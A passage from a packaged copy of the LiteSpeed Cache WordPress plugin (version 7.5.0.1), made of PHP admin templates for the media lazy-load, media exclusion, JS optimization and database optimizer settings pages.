	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#media-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_LAZY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Load images only when they enter the viewport.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This can improve page loading time by reducing initial HTTP requests.', 'litespeed-cache' ); ?>
					<br />
					<font class="litespeed-success">
						💡
						<a href="https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images" target="_blank"><?php esc_html_e( 'Adding Style to Your Lazy-Loaded Images', 'litespeed-cache' ); ?></a>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_LAZY_PLACEHOLDER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-long' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify a base64 image to be used as a simple placeholder while images finish loading.', 'litespeed-cache' ); ?>
					<br /><?php printf( esc_html__( 'This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.', 'litespeed-cache' ), '<code>LITESPEED_PLACEHOLDER</code>', '<code>wp-config.php</code>' ); ?>
					<br /><?php printf( esc_html__( 'By default a gray image placeholder %s will be used.', 'litespeed-cache' ), '<code>data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=</code>' ); ?>
					<br /><?php printf( esc_html__( 'For example, %s can be used for a transparent placeholder.', 'litespeed-cache' ), '<code>data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7</code>' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_PLACEHOLDER_RESP; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Responsive image placeholders can help to reduce layout reshuffle when images are loaded.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This will generate the placeholder with same dimensions as the image if it has the width and height attributes.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_PLACEHOLDER_RESP_SVG; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-long' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify an SVG to be used as a placeholder when generating locally.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'It will be converted to a base64 SVG placeholder on-the-fly.', 'litespeed-cache' ); ?>
					<br /><?php printf( esc_html__( 'Variables %s will be replaced with the corresponding image properties.', 'litespeed-cache' ), '<code>{width} {height}</code>' ); ?>
					<br /><?php printf( esc_html__( 'Variables %s will be replaced with the configured background color.', 'litespeed-cache' ), '<code>{color}</code>' ); ?>
					<br /><?php $this->recommended( $option_id ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_PLACEHOLDER_RESP_COLOR; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, null, null, 'color' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify the responsive placeholder SVG color.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_LQIP; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.', 'litespeed-cache' ); ?>
					<br /><?php esc_html_e( 'Keep this off to use plain color placeholders.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lqip-cloud-generator' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_LQIP_QUAL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify the quality when generating LQIP.', 'litespeed-cache' ); ?>
					<br /><?php esc_html_e( 'Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 1, 20 ); ?>
					<br />💡 <?php printf( esc_html__( 'Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.', 'litespeed-cache' ), '<code>' . esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ) . '</code>' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_LQIP_MIN_W; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?> x
				<?php $this->build_input( Base::O_MEDIA_LQIP_MIN_H, 'litespeed-input-short' ); ?>
				<?php esc_html_e( 'pixels', 'litespeed-cache' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'LQIP requests will not be sent for images where both width and height are smaller than these dimensions.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 10, 800 ); ?>
					<?php $this->_validate_ttl( Base::O_MEDIA_LQIP_MIN_H, 10, 800 ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_PLACEHOLDER_RESP_ASYNC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Automatically generate LQIP in the background via a cron-based queue.', 'litespeed-cache' ); ?>
					<?php
					printf(
						esc_html__( 'If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.', 'litespeed-cache' ),
						'<code>' . esc_html__( 'ON', 'litespeed-cache' ) . '</code>',
						'<code>' . esc_html( Lang::title( Base::O_MEDIA_PLACEHOLDER_RESP_SVG ) ) . '</code>'
					);
					?>
					<?php printf( esc_html__( 'If set to %s this is done in the foreground, which may slow down page load.', 'litespeed-cache' ), '<code>' . esc_html__( 'OFF', 'litespeed-cache' ) . '</code>' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#generate-lqip-in-background' ); ?>
				</div>

				<div class="litespeed-desc">
					<?php if ( $placeholder_summary ) : ?>
						<?php if ( ! empty( $placeholder_summary['last_request'] ) ) : ?>
							<p>
								<?php echo esc_html__( 'Last generated', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $placeholder_summary['last_request'] ) ) . '</code>'; ?>
							</p>
						<?php endif; ?>
					<?php endif; ?>

					<?php if ( $closest_server ) : ?>
						<a class="litespeed-redetect" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_REDETECT_CLOUD, false, null, array( 'svc' => Cloud::SVC_LQIP ) ) ); ?>" data-balloon-pos="up" data-balloon-break aria-label='<?php printf( esc_html__( 'Current closest Cloud server is %s. Click to redetect.', 'litespeed-cache' ), esc_html( $closest_server ) ); ?>' data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to redetect the closest cloud server for this service?', 'litespeed-cache' ); ?>"><i class='litespeed-quic-icon'></i> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></a>
					<?php endif; ?>

					<?php if ( ! empty( $lqip_queue ) ) : ?>
						<div class="litespeed-callout notice notice-warning inline">
							<h4>
								<?php esc_html_e( 'Size list in queue waiting for cron', 'litespeed-cache' ); ?> ( <?php echo esc_html( count( $lqip_queue ) ); ?> )
								<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_PLACEHOLDER, Placeholder::TYPE_CLEAR_Q ) ); ?>" class="button litespeed-btn-warning litespeed-right"><?php esc_html_e( 'Clear', 'litespeed-cache' ); ?></a>
							</h4>
							<p>
								<?php
								$i = 0;
								foreach ( $lqip_queue as $k => $v ) {
									if ( $i++ > 20 ) {
										echo '...';
										break;
									}
									echo esc_html( $v );
									echo '<br />';
								}
								?>
							</p>
						</div>
						<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_PLACEHOLDER, Placeholder::TYPE_GENERATE ) ); ?>" class="button litespeed-btn-success">
							<?php esc_html_e( 'Run Queue Manually', 'litespeed-cache' ); ?>
						</a>
						<?php Doc::queue_issues(); ?>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_IFRAME_LAZY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Load iframes only when they enter the viewport.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This can improve page loading time by reducing initial HTTP requests.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_ADD_MISSING_SIZES; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://web.dev/optimize-cls/#images-without-dimensions' ); ?>

					<br />
					<font class="litespeed-warning litespeed-left10">
						⚠️ <?php esc_html_e( 'Notice', 'litespeed-cache' ); ?>: <?php printf( esc_html__( '%s must be turned ON for this setting to work.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_MEDIA_LAZY ) ) . '</code>' ); ?>
					</font>

					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Use %1$s to bypass remote image dimension check when %2$s is ON.', 'litespeed-cache' ), '<code>add_filter( "litespeed_media_ignore_remote_missing_sizes", "__return_true" );</code>', '<code>' . esc_html( Lang::title( Base::O_MEDIA_ADD_MISSING_SIZES ) ) . '</code>' ); ?>
					</font>
					<?php $__admin_display->_check_overwritten( Base::O_MEDIA_ADD_MISSING_SIZES ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_JPG_QUALITY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'The image compression quality setting of WordPress out of 100.', 'litespeed-cache' ); ?>
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 0, 100 ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_AUTO_RESCALE_ORI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Automatically replace large images with scaled versions.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'Scaled size threshold', 'litespeed-cache' ); ?>: <code><?php echo wp_kses_post( $scaled_size ); ?></code>
					<br />
					<span class="litespeed-success">
						API:
						<?php
						printf(
							esc_html__( 'Filter %s available to change threshold.', 'litespeed-cache' ),
							'<code>big_image_size_threshold</code>'
						);
						?>
						<a href="https://developer.wordpress.org/reference/hooks/big_image_size_threshold/" target="_blank" class="litespeed-learn-more">
							<?php esc_html_e('Learn More', 'litespeed-cache'); ?>
						</a>
					</span>

					<br />
					<font class="litespeed-danger">
						🚨
						<?php esc_html_e( 'This is irreversible.', 'litespeed-cache' ); ?>
					</font>
				</div>
			</td>
		</tr>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_media_exc.tpl.php000064400000007574151031165260024223 0ustar00<?php
/**
 * LiteSpeed Cache Media Excludes Settings
 *
 * Renders the media excludes settings interface for LiteSpeed Cache, allowing configuration of exclusions for lazy loading and LQIP.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Media Excludes', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#media-excludes-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table"><tbody>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_LAZY_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Listed images will not be lazy loaded.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url(); ?>
				<?php Doc::one_per_line(); ?>
				<br /><?php esc_html_e( 'Useful for above-the-fold images causing CLS (a Core Web Vitals metric).', 'litespeed-cache' ); ?>
				<br /><font class="litespeed-success">
					<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
					<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_media_lazy_img_excludes</code>' ); ?>
					<?php printf( esc_html__( 'Elements with attribute %s in html code will be excluded.', 'litespeed-cache' ), '<code>data-no-lazy="1"</code>' ); ?>
				</font>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_LAZY_CLS_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div class="litespeed-textarea-recommended">
				<div>
					<?php $this->build_textarea( $option_id ); ?>
				</div>
				<div>
					<?php $this->recommended( $option_id ); ?>
				</div>
			</div>

			<div class="litespeed-desc">
				<?php esc_html_e( 'Images containing these class names will not be lazy loaded.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url( true ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_LAZY_PARENT_CLS_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Images having these parent class names will not be lazy loaded.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_IFRAME_LAZY_CLS_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Iframes containing these class names will not be lazy loaded.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url( true ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Iframes having these parent class names will not be lazy loaded.', 'litespeed-cache' ); ?>
				<?php Doc::one_per_line(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_LAZY_URI_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Prevent any lazy load of listed pages.', 'litespeed-cache' ); ?>
				<?php $this->_uri_usage_example(); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MEDIA_LQIP_EXC; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_textarea( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'These images will not generate LQIP.', 'litespeed-cache' ); ?>
				<?php Doc::full_or_partial_url(); ?>
			</div>
		</td>
	</tr>

</tbody></table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_js.tpl.php000064400000006637151031165260022720 0ustar00<?php
/**
 * LiteSpeed Cache JS Settings
 *
 * Renders the JS optimization settings interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'JS Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#js-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_MIN; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Minify JS files and inline JS codes.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_COMB; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<?php Doc::maybe_on_by_gm( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Combine all local JS files into a single file.', 'litespeed-cache' ); ?>
					<a href="https://docs.litespeedtech.com/lscache/lscwp/ts-optimize/" target="_blank"><?php esc_html_e( 'How to Fix Problems Caused by CSS/JS Optimization.', 'litespeed-cache' ); ?></a>
					<br />
					<font class="litespeed-danger">
						🚨 <?php esc_html_e( 'This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.', 'litespeed-cache' ); ?>
						<?php esc_html_e( 'JS error can be found from the developer console of browser by right clicking and choosing Inspect.', 'litespeed-cache' ); ?>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_COMB_EXT_INL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_OPTM_JS_COMB ) ) . '</code>' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_DEFER; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), esc_html__( 'Deferred', 'litespeed-cache' ), esc_html__( 'Delayed', 'litespeed-cache' ) ) ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#load-js-deferred' ); ?><br />
					<?php esc_html_e( 'This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.', 'litespeed-cache' ); ?>
					<?php Doc::learn_more( 'https://web.dev/fid/#what-is-fid' ); ?>
					<br />
					<font class="litespeed-danger">
						🚨 <?php esc_html_e( 'This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.', 'litespeed-cache' ); ?>
					</font>
				</div>
			</td>
		</tr>

	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/db_optm/manage.tpl.php000064400000020037151031165260021253 0ustar00<?php
/**
 * LiteSpeed Cache Database Optimization
 *
 * Manages database optimization options and displays table engine conversion tools.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$_panels = array(
    'all' => array(
        'title' => esc_html__( 'Clean All', 'litespeed-cache' ),
        'desc'  => '',
    ),
    'revision' => array(
        'title' => esc_html__( 'Post Revisions', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all post revisions', 'litespeed-cache' ),
    ),
    'orphaned_post_meta' => array(
        'title' => esc_html__( 'Orphaned Post Meta', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all orphaned post meta records', 'litespeed-cache' ),
    ),
    'auto_draft' => array(
        'title' => esc_html__( 'Auto Drafts', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all auto saved drafts', 'litespeed-cache' ),
    ),
    'trash_post' => array(
        'title' => esc_html__( 'Trashed Posts', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all trashed posts and pages', 'litespeed-cache' ),
    ),
    'spam_comment' => array(
        'title' => esc_html__( 'Spam Comments', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all spam comments', 'litespeed-cache' ),
    ),
    'trash_comment' => array(
        'title' => esc_html__( 'Trashed Comments', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all trashed comments', 'litespeed-cache' ),
    ),
    'trackback-pingback' => array(
        'title' => esc_html__( 'Trackbacks/Pingbacks', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all trackbacks and pingbacks', 'litespeed-cache' ),
    ),
    'expired_transient' => array(
        'title' => esc_html__( 'Expired Transients', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean expired transient options', 'litespeed-cache' ),
    ),
    'all_transients' => array(
        'title' => esc_html__( 'All Transients', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Clean all transient options', 'litespeed-cache' ),
    ),
    'optimize_tables' => array(
        'title' => esc_html__( 'Optimize Tables', 'litespeed-cache' ),
        'desc'  => esc_html__( 'Optimize all tables in your database', 'litespeed-cache' ),
    ),
);

$rev_max = $this->conf( Base::O_DB_OPTM_REVISIONS_MAX );
$rev_age = $this->conf( Base::O_DB_OPTM_REVISIONS_AGE );
if ( $rev_max || $rev_age ) {
    $_panels['revision']['desc'] = sprintf(
		esc_html__( 'Clean revisions older than %1$s day(s), excluding %2$s latest revisions', 'litespeed-cache' ),
		'<strong>' . esc_html( $rev_age ) . '</strong>',
		'<strong>' . esc_html( $rev_max ) . '</strong>'
	);
}

$total = 0;
foreach ( $_panels as $key => $v ) {
    if ( 'all' !== $key ) {
        $_panels[ $key ]['count'] = $this->cls( 'DB_Optm' )->db_count( $key );
        if ( ! in_array( $key, array( 'optimize_tables' ), true ) ) {
            $total += $_panels[ $key ]['count'];
        }
    }
    $_panels[ $key ]['link'] = Utility::build_url( Router::ACTION_DB_OPTM, $key );
}

$_panels['all']['count'] = $total;

$autoload_summary = DB_Optm::cls()->autoload_summary();

?>

<h3 class="litespeed-title">
    <?php esc_html_e( 'Database Optimizer', 'litespeed-cache' ); ?>
    <?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/database/' ); ?>
</h3>

<div class="litespeed-panel-wrapper litespeed-cards-wrapper">

    <?php foreach ( $_panels as $key => $v ) : ?>
        <a href="<?php echo esc_url( $v['link'] ); ?>" class="litespeed-panel postbox">
            <section class="litespeed-panel-wrapper-icon">
                <span class="litespeed-panel-icon-<?php echo esc_attr( $key ); ?>"></span>
            </section>
            <section class="litespeed-panel-content">
                <div class="litespeed-h3">
                    <?php echo esc_html( $v['title'] ); ?>
                    <span class="litespeed-panel-counter<?php echo $v['count'] > 0 ? '-red' : ''; ?>">(<?php echo esc_html( $v['count'] ); ?><?php echo DB_Optm::hide_more() ? '+' : ''; ?>)</span>
                </div>
                <span class="litespeed-panel-para"><?php echo wp_kses_post( $v['desc'] ); ?></span>
            </section>
            <section class="litespeed-panel-wrapper-top-right">
                <span class="litespeed-panel-top-right-icon<?php echo $v['count'] > 0 ? '-cross' : '-tick'; ?>"></span>
            </section>
        </a>
    <?php endforeach; ?>

</div>

<h3 class="litespeed-title"><?php esc_html_e( 'Database Table Engine Converter', 'litespeed-cache' ); ?></h3>

<div class="litespeed-panel-wrapper">

    <table class="wp-list-table widefat striped">
        <thead>
            <tr>
                <th scope="col">#</th>
                <th scope="col"><?php esc_html_e( 'Table', 'litespeed-cache' ); ?></th>
                <th scope="col"><?php esc_html_e( 'Engine', 'litespeed-cache' ); ?></th>
                <th scope="col"><?php esc_html_e( 'Tool', 'litespeed-cache' ); ?></th>
            </tr>
        </thead>
        <tbody>
            <?php
            $list = DB_Optm::cls()->list_myisam();
            if ( ! empty( $list ) ) :
                foreach ( $list as $k => $v ) :
                    ?>
                    <tr>
                        <td><?php echo esc_html( $k + 1 ); ?></td>
                        <td><?php echo esc_html( $v->table_name ); ?></td>
                        <td><?php echo esc_html( $v->engine ); ?></td>
                        <td>
                            <a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DB_OPTM, DB_Optm::TYPE_CONV_TB, false, false, array( 'tb' => $v->table_name ) ) ); ?>">
                                <?php esc_html_e( 'Convert to InnoDB', 'litespeed-cache' ); ?>
                            </a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            <?php else : ?>
                <tr>
                    <td colspan="4" class="litespeed-success litespeed-text-center">
                        <?php esc_html_e( 'We are good. No table uses MyISAM engine.', 'litespeed-cache' ); ?>
                    </td>
                </tr>
            <?php endif; ?>
        </tbody>
    </table>

</div>

<style type="text/css">
    .litespeed-body .field-col {
        display: inline-block;
        vertical-align: top;
        margin-left: 20px;
        margin-right: 20px;
    }

    .litespeed-body .field-col:first-child {
        margin-left: 0;
    }
</style>

<h3 class="litespeed-title"><?php esc_html_e( 'Database Summary', 'litespeed-cache' ); ?></h3>
<div>
    <div class="field-col">
        <p>
        	<?php esc_html_e( 'Autoload size', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( Utility::real_size( $autoload_summary->autoload_size ) ); ?></strong></p>
        <p><?php esc_html_e( 'Autoload entries', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $autoload_summary->autload_entries ); ?></strong></p>
    </div>

    <div class="field-col">
        <p><?php esc_html_e( 'Autoload top list', 'litespeed-cache' ); ?>:</p>
        <table class="wp-list-table widefat striped litespeed-width-auto litespeed-table-compact">
            <thead>
                <tr>
                    <th scope="col">#</th>
                    <th scope="col"><?php esc_html_e( 'Option Name', 'litespeed-cache' ); ?></th>
                    <th scope="col"><?php esc_html_e( 'Autoload', 'litespeed-cache' ); ?></th>
                    <th scope="col"><?php esc_html_e( 'Size', 'litespeed-cache' ); ?></th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ( $autoload_summary->autoload_toplist as $k => $v ) : ?>
                    <tr>
                        <td><?php echo esc_html( $k + 1 ); ?></td>
                        <td><?php echo esc_html( $v->option_name ); ?></td>
                        <td><?php echo esc_html( $v->autoload ); ?></td>
                        <td><?php echo esc_html( $v->option_value_length ); ?></td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/db_optm/entry.tpl.php000064400000002044151031165260021162 0ustar00<?php
/**
 * LiteSpeed Cache Database Optimization
 *
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
    'manage'   => esc_html__( 'Manage', 'litespeed-cache' ),
);

if ( ! is_network_admin() ) {
    $menu_list['settings'] = esc_html__( 'DB Optimization Settings', 'litespeed-cache' );
}

?>

<div class="wrap">
    <h1 class="litespeed-h1">
        <?php esc_html_e( 'LiteSpeed Cache Database Optimization', 'litespeed-cache' ); ?>
    </h1>
    <span class="litespeed-desc">
        <?php echo esc_html( 'v' . Core::VER ); ?>
    </span>
    <hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
    <h2 class="litespeed-header nav-tab-wrapper">
        <?php GUI::display_tab_list( $menu_list ); ?>
    </h2>

    <div class="litespeed-body">
    <?php
        foreach ( $menu_list as $tab_key => $tab_val ) {
			echo '<div data-litespeed-layout="' . esc_attr( $tab_key ) . '">';
			require LSCWP_DIR . 'tpl/db_optm/' . $tab_key . '.tpl.php';
			echo '</div>';
        }
    ?>
    </div>

</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/db_optm/settings.tpl.php000064400000002760151031165260021666 0ustar00<?php
/**
 * LiteSpeed Cache Database Optimization Settings
 *
 * Manages settings for database optimization in LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'DB Optimization Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/database/#db-optimization-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table"><tbody>
	<tr>
		<th>
			<?php $option_id = Base::O_DB_OPTM_REVISIONS_MAX; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Specify the number of most recent revisions to keep when cleaning revisions.', 'litespeed-cache' ); ?>
				<?php $this->_validate_ttl( $option_id, 1, 100, true ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
